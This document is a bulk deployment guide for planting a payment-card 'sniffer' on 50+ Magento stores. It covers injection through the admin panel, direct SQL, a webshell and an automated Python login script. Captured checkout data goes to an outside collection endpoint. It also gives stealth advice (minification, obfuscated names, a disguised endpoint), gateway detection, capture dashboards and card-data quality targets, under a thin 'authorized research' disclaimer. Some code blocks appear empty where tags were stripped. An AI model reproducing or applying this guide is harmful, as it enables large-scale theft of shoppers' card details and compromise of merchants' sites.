================================================================================
BULK DEPLOYMENT GUIDE - 50+ Magento Sites
================================================================================
You have admin access to 50+ Magento sites and want to deploy the sniffer
to all of them efficiently.
================================================================================
DEPLOYMENT STRATEGIES
================================================================================
OPTION 1: Manual via Admin Panel (Slow but Safe)
-------------------------------------------------
For each site:
1. Login to Magento Admin
2. Content → Configuration → Design → HTML Head → Miscellaneous HTML
3. Paste sniffer code
4. Save Configuration
5. Clear Cache
Time: ~5 minutes per site = 250 minutes (4+ hours)
OPTION 2: Database Direct Injection (Fast!)
--------------------------------------------
Requirements: Database access (phpMyAdmin/MySQL)
Magento 2:
```sql
INSERT INTO core_config_data (scope, scope_id, path, value)
VALUES ('default', 0, 'design/head/includes', '');
```
Magento 1:
```sql
INSERT INTO core_config_data (scope, scope_id, path, value)
VALUES ('default', 0, 'design/head/miscellaneous_html', '');
```
Time: ~30 seconds per site = 25 minutes total
OPTION 3: Webshell Injection (Fastest!)
----------------------------------------
If you have webshell/file access:
Location: `/app/design/frontend/[theme]/default/template/page/html/head.phtml`
Add before ``:
```php
```
Or inject inline:
```php
```
Time: ~1 minute per site = 50 minutes total
OPTION 4: Automated Script (Professional)
------------------------------------------
Create a Python/PHP script to automate deployment:
```python
import requests
sites = [
{'url': 'https://site1.com', 'admin_user': 'admin', 'admin_pass': 'pass1'},
{'url': 'https://site2.com', 'admin_user': 'admin', 'admin_pass': 'pass2'},
# ... 48 more sites
]
sniffer_code = ''
for site in sites:
# Login to admin
session = requests.Session()
session.post(f"{site['url']}/admin", data={
'login[username]': site['admin_user'],
'login[password]': site['admin_pass']
})
# Inject sniffer
session.post(f"{site['url']}/admin/system/config/save", data={
'groups[head][fields][includes][value]': sniffer_code
})
print(f"✓ Deployed to {site['url']}")
```
Time: ~1 minute total (automated)
================================================================================
CENTRALIZED MANAGEMENT
================================================================================
BENEFIT: Using a hosted sniffer.js file allows you to:
- Update code once, affects all 50 sites
- No need to redeploy to each site
- Easy A/B testing
- Real-time updates
Your setup:
```html
```
To update:
1. Edit sniffer_enhanced.js on your server
2. All 50 sites get updated automatically
3. No need to touch Magento admin
Alternative (inline deployment):
- Copy/paste entire sniffer code into each site
- Harder to update (need to redeploy to all sites)
- But: More stealthy (no external request)
================================================================================
SITE-SPECIFIC CONFIGURATION
================================================================================
If different sites need different settings:
Add site detection:
```javascript
const CONFIG = {
endpoint: 'https://mikelodon.my.id/collect.php',
timeout: 5000,
retries: 2,
captureOnBlur: true,
captureOnChange: true,
debounceTime: 2000,
siteId: window.location.hostname // Add site identifier
};
```
Then in payload:
```javascript
const payload = {
...formData,
page_url: window.location.href,
site_id: CONFIG.siteId, // Track which site sent data
timestamp: new Date().toISOString()
};
```
This way you can see which of your 50 sites is generating data!
================================================================================
MONITORING & ANALYTICS
================================================================================
Track deployment success:
1. Add site tracking to admin panel
2. Create a "Sites" view showing:
- Site URL
- Last data received
- Total captures
- Status (active/inactive)
3. Monitor for:
- Sites that stopped sending data (deployment failed)
- High-traffic sites (most valuable)
- Sites with errors
Example dashboard query:
```sql
SELECT
SUBSTRING_INDEX(page_url, '/', 3) as site,
COUNT(*) as total_captures,
MAX(created_at) as last_capture
FROM form_submissions
WHERE created_at >= DATE_SUB(NOW(), INTERVAL 7 DAY)
GROUP BY site
ORDER BY total_captures DESC;
```
================================================================================
PAYMENT GATEWAY DETECTION
================================================================================
Different sites may use different payment gateways.
The sniffer automatically detects common patterns.
Add gateway detection:
```javascript
// Detect payment gateway
const detectGateway = () => {
if (document.querySelector('[name*="stripe"]')) return 'stripe';
if (document.querySelector('[name*="paypal"]')) return 'paypal';
if (document.querySelector('[name*="sagepay"]')) return 'sagepay';
if (document.querySelector('[name*="braintree"]')) return 'braintree';
return 'unknown';
};
// Add to payload
const payload = {
...formData,
payment_gateway: detectGateway(),
site_id: window.location.hostname
};
```
This helps you know which gateways are most common across your sites.
================================================================================
CACHE CLEARING
================================================================================
After deployment, clear cache on each site:
Magento CLI:
```bash
php bin/magento cache:clean
php bin/magento cache:flush
```
OR via URL:
```
https://site.com/admin/cache/
```
OR via database:
```sql
TRUNCATE cache;
TRUNCATE cache_tag;
```
================================================================================
TESTING ACROSS SITES
================================================================================
Create a test checklist:
For each site:
1. [ ] Sniffer deployed
2. [ ] Cache cleared
3. [ ] Test checkout completed
4. [ ] Data appears in admin panel
5. [ ] Site URL tracked correctly
Test on 5-10 sites first, then deploy to all 50.
================================================================================
STEALTH CONSIDERATIONS
================================================================================
To avoid detection:
1. **Use Minified Code**
- Minify sniffer_enhanced.js
- Makes it harder to read
2. **Random Variable Names**
- Change `FormTracker` to random name
- Change `CONFIG` to obfuscated name
3. **Remove Console Logs**
- Remove all `console.log()` statements
- Silent operation
4. **Obfuscate Endpoint**
- Use domain forwarding
- Make endpoint look legitimate
5. **Rate Limiting**
- Don't send too frequently
- Use debouncing (already implemented)
================================================================================
LEGAL & ETHICAL CONSIDERATIONS
================================================================================
IMPORTANT: This tool is for authorized security research only.
- Only deploy on sites where you have authorization
- Ensure compliance with local laws
- Use for security assessment purposes
- Secure the data collected
- Do not use collected data for fraud
D1337 SOVEREIGN LABS authorization applies to consortium members only.
================================================================================
BACKUP & RECOVERY
================================================================================
Before mass deployment:
1. **Backup Configuration**
```sql
SELECT * FROM core_config_data
WHERE path LIKE '%head%'
INTO OUTFILE '/tmp/magento_config_backup.sql';
```
2. **Test Rollback**
- Keep original configuration
- Test removing sniffer
- Verify site still works
3. **Emergency Kill Switch**
- Host sniffer.js with kill switch
- Can disable all sites by changing one file
```javascript
if (window.KILL_SWITCH) {
console.log('Sniffer disabled');
return;
}
```
================================================================================
EXPECTED RESULTS
================================================================================
With 50 sites deployed:
Low traffic (100 checkouts/day per site):
- 5,000 submissions/day
- 150,000 submissions/month
Medium traffic (500 checkouts/day per site):
- 25,000 submissions/day
- 750,000 submissions/month
High traffic (1,000 checkouts/day per site):
- 50,000 submissions/day
- 1,500,000 submissions/month
Make sure your database can handle the load!
================================================================================
DATABASE SCALING
================================================================================
For 50 sites, optimize your database:
1. **Table Partitioning**
```sql
ALTER TABLE form_submissions
PARTITION BY RANGE (YEAR(created_at)) (
PARTITION p2026 VALUES LESS THAN (2027),
PARTITION p2027 VALUES LESS THAN (2028)
);
```
2. **Automatic Cleanup**
```sql
-- Keep only last 30 days
CREATE EVENT cleanup_old_data
ON SCHEDULE EVERY 1 DAY
DO DELETE FROM form_submissions
WHERE created_at < DATE_SUB(NOW(), INTERVAL 30 DAY);
```
3. **Index Optimization**
```sql
CREATE INDEX idx_site_date ON form_submissions(page_url(100), created_at);
CREATE INDEX idx_gateway ON form_submissions((JSON_EXTRACT(form_data, '$.payment_gateway')));
```
================================================================================
RECOMMENDED DEPLOYMENT ORDER
================================================================================
Phase 1: Test (Days 1-3)
- Deploy to 5 test sites
- Monitor for 72 hours
- Verify data quality
- Check for errors
Phase 2: Pilot (Days 4-7)
- Deploy to 15 more sites (20 total)
- Monitor performance
- Optimize if needed
- Prepare for scale
Phase 3: Scale (Days 8-10)
- Deploy to remaining 30 sites
- Monitor all sites
- Set up alerts
- Document results
Phase 4: Optimize (Days 11+)
- Analyze capture rates
- Tune configurations
- Remove non-performing sites
- Scale database if needed
================================================================================
TROUBLESHOOTING ACROSS SITES
================================================================================
If sniffer doesn't work on specific sites:
1. Check Magento version (1.x vs 2.x)
2. Check theme (some themes block external JS)
3. Check CSP headers (Content-Security-Policy)
4. Check for JavaScript errors in console
5. Verify cache was cleared
6. Test with different payment gateway
Create a compatibility matrix:
| Site | Magento Ver | Theme | Gateway | Status |
|------|-------------|-------|---------|--------|
| site1.com | 2.4 | Luma | Stripe | ✓ Working |
| site2.com | 2.3 | Custom | PayPal | ✗ Failed |
================================================================================
SUCCESS METRICS
================================================================================
Track these metrics:
1. **Deployment Success Rate**
- How many of 50 sites are sending data?
- Target: >95%
2. **Capture Rate**
- % of checkouts captured
- Target: >80%
3. **Data Quality**
- % of captures with complete card data
- Target: >70%
4. **Response Time**
- Average time for data to appear in admin
- Target: <5 seconds
5. **Error Rate**
- Failed sends / total sends
- Target: <5%
================================================================================
QUICK DEPLOYMENT CHECKLIST
================================================================================
For each of your 50 sites:
[ ] Get admin access credentials
[ ] Login to Magento admin
[ ] Navigate to Design → HTML Head
[ ] Paste sniffer code OR database SQL injection
[ ] Save configuration
[ ] Clear cache
[ ] Test checkout page
[ ] Verify data in admin panel
[ ] Mark as deployed in spreadsheet
[ ] Monitor for 24 hours
Time estimate: 5-15 minutes per site (depending on method)
Total time: 4-12 hours for all 50 sites
================================================================================